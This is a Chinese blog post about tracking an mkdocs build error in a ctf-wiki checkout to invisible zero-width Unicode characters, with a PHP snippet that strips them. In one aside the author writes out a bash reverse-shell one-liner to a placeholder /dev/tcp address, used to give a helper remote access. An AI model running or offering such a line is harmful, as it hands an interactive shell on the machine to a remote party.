【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space
问题描述:
我在修改 ctf-wiki
目录后进行 mkdocs build
去生成索引目录的时候报错:
然后我尝试定位到第 2
行和第 288
行,这些行我似乎并没有修改过啊。
未果,开始去找师傅解决。
解决方案探索:
由于我不太懂 mkdocs
的运行机制,这个时候肯定是需要找刘师傅了。
方案一、 mkdocs
去 clean
缓存。
似乎这个想法是行不通了,不是根本原因。
方案二、改目录
我们开始猜想是不是路径中有中文的锅,改一下路径,未果。
方案三、反弹 shell
弄不出来了,我直接反弹一个 shell
给刘师傅。
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1
似乎师傅觉得权限太小了,然后不让弄了23333,未果。
方案四、重新clone一遍
一般出现问题,从头来一遍就好了,然后我这么做了,重新改了一下索引,未果。
方案五、 git diff
定位源码
使用 git diff
看哪部分代码修改过了,发现了一些问题,明明两段代码一模一样的,却显示有被修改过的痕迹。
探索:
既然有点眉头了,我们开始猜测是不是 tab
和空格混淆了,但是我并没有修改过,几番猜测后可能是我的编辑器存在问题,我用 Typora
修改的目录,可能是因为编辑器的问题,自动加上了一些奇怪的东西进去。
开始尝试:
用 vim
去查看下目录文件,事情果然不简单:
这个 <200b>
是什么鬼东西,删掉再本地跑一下试试看先,果真是这个特殊字符的锅。
特意去维基百科上查阅了文档,发现这个学术名词叫 Zero-width-space
(零宽空格) ,是一种不可打印的 Unicode
字符,用于可能需要换行处。
简单理解,什么是零宽度空格?它是一个Unicode字符,它是一个空格,它没有宽度!
什么叫没有宽度?就是如果 2
个字母之间打了一个零宽度空格,你是看不见任何东西的,两个字母还是会挨在一起。而且更坑爹的是,就算你用的是等宽字体,它也看不见。
这种字符在高级编辑器中都是看不见这个符号的,只有 VIM
这种古老的编辑器才能看到。
有关这种特殊字元存在以下三种形式:
Unicode code point | character | UTF-8 (in literal) | name |
---|---|---|---|
U+200B | \xe2\x80\x8b | ZERO WIDTH SPACE | |
U+200C | | \xe2\x80\x8c | ZERO WIDTH NON-JOINER |
U+200D | | \xe2\x80\x8d | ZERO WIDTH JOINER |
我们在写入文件中应该用以下语法去过滤这三种字符:
// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);
扩展:
- http://blog.isaach.com/2013/03/zero-width-space.html
- Zero-width-space维基百科
- 用零宽度字符水印揭露泄密者身份
- Zero-Width-Spaces-Hiden
- https://www.zachaysan.com/writing/2017-12-30-zero-width-characters
最新文章
- JQuery中on()函数详解
- 西门子Prodave5.5使用说明及VC示例
- 【leetcode】Best Time to Buy and Sell (easy)
- dwr NoSuchBeanDefinitionException
- c# 获取mac地址的2种方法
- 屏幕实战效果解析:IPS/TFT/AMOLED/SLCD
- 微信变声器(WeChat Voice)会是营销新利器吗
- Selenium webdriver 查找元素
- 在vi中使用perltidy格式化perl代码
- 作为.net程序员学jsp,伤不起
- (NO.00002)iOS游戏精灵战争雏形(十)
- BZOJ_2151_种树_贪心+堆+链表
- 电梯调度编写(oo-java编程)
- main函数中System.exit()的作用
- vue——script内容详解
- Django - Python3 常用命令
- EF语句拦截器-匹配当前的Controller,Action,User
- C# 百度搜索结果xpath分析
- Java - 线程基本概念
- 使用salt-cloud创建虚拟机
热门文章
- 遇到一个很古怪的问题,C++类static const成员的初始化
- 洗礼灵魂,修炼python(84)-- 知识拾遗篇 —— 网络编程之socket
- python第一百一十八天---ajax--图片验证码 + Session
- 【MM系列】SAP库龄报表逻辑理解
- Asp.Net WebApi 项目及依赖整理
- 服务器体系(SMP, NUMA, MPP)与共享存储器架构(UMA和NUMA)
- C# 中将月份格式化为英语缩写格式
- AI学习---数据IO操作&;神经网络基础
- 《Java大学教程》—第22章 多线程程序
- ES5-ES6-ES7_严格模式